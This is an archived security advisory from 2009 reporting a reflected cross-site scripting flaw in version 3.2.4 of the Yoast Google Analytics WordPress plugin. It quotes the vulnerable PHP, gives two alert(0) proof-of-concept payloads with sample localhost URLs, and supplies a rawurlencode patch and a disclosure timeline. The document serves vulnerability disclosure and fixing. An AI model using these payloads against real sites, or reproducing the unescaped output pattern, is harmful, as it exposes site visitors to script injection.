we care because you do

Yoast Google Analytics Cross Site Scripting

Yoast Google Analytics Cross Site Scripting
Posted Dec 5, 2009
Authored by MaXe

Yoast Google Analytics version 3.2.4 for Wordpress suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | c977a8076853e4d145a0d6a2786ed744

Yoast Google Analytics Cross Site Scripting

Change Mirror Download
Yoast GA Plugin for WP - Cross Site Scripting Vulnerability

Version Affected: 3.2.4 (newest)

Info: The Google Analytics for WordPress plugin automatically tracks and
segments all outbound links from within posts, comment author links, links
within comments, blogroll links and downloads. It also allows you to track
AdSense clicks, add extra search engines, track image search queries and it
will even work together with Urchin.

Credits: InterN0T

External Links:
http://yoast.com/wordpress/google-analytics/


-:: The Advisory ::-
On line 353 in googleanalytics.php the following vulnerable code was identified:
/**
* If this is a 404 page, track the 404 and prevent all other stuff as it's not needed.
*/
if ( is_404() ) {
echo "\t\t".'pageTracker._trackPageview("/404.html?page=" + document.location.pathname + document.location.search + "&from=" + document.referrer);'."\n";
echo "\t".'} catch(err) {}'."\n";
echo '</script>'."\n";
} else if ($wp_query->is_search && $wp_query->found_posts == 0) {
echo "\t\t".'pageTracker._trackPageview("'.get_bloginfo('url').'/?s=no-results: '.$wp_query->query_vars['s'].'&cat=no-results");'."\n";
echo "\t".'} catch(err) {}'."\n";
echo '</script>'."\n";

In order to trigger this bug, a 404 (Not Found) message must be the response when supplying the XSS code into the search-form.

One can either end the script tag or use javascript in order to abuse this issue.


Proof of Concept's:
A. </script>alert(0)</script>
B. ");alert(0);document.write("

Example:
A. hxxp://localhost/wp/?s=</script><script>alert(0)</script>
B. hxxp://localhost/wp/?s=");alert(0);document.write("

If magic_quotes is enabled inside php.ini, Proof of Concept (B) wont work.


-:: Solution ::-
The following patch was supplied to the vendor:

On line 361 in googleanalytics.php the following piece of code is vulnerable to Cross Site Scripting:
echo "\t\t".'pageTracker._trackPageview("'.get_bloginfo('url').'/?s=no-results: '.$wp_query->query_vars['s'].'&cat=no-results");'."\n";

In order to prevent this, One will have to use f.ex. htmlentities or rawurlencode to secure it:
echo "\t\t".'pageTracker._trackPageview("'.get_bloginfo('url').'/?s=no-results: '.rawurlencode($wp_query->query_vars['s']).'&cat=no-results");'."\n";

The reason why we thought rawurlencode might be suitable is because htmlentities in a tracking URL might break the Google Analytics Tracking.


Disclosure Information:
- Vulnerability found 3rd December
- Patch was made available 4th December
- Disclosed on InterN0T 4th December
- Vendor and Buqtraq (SecurityFocus) contacted the 4th December


All of the best,
MaXe

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    11 Files
  • 27
    May 27th
    8 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close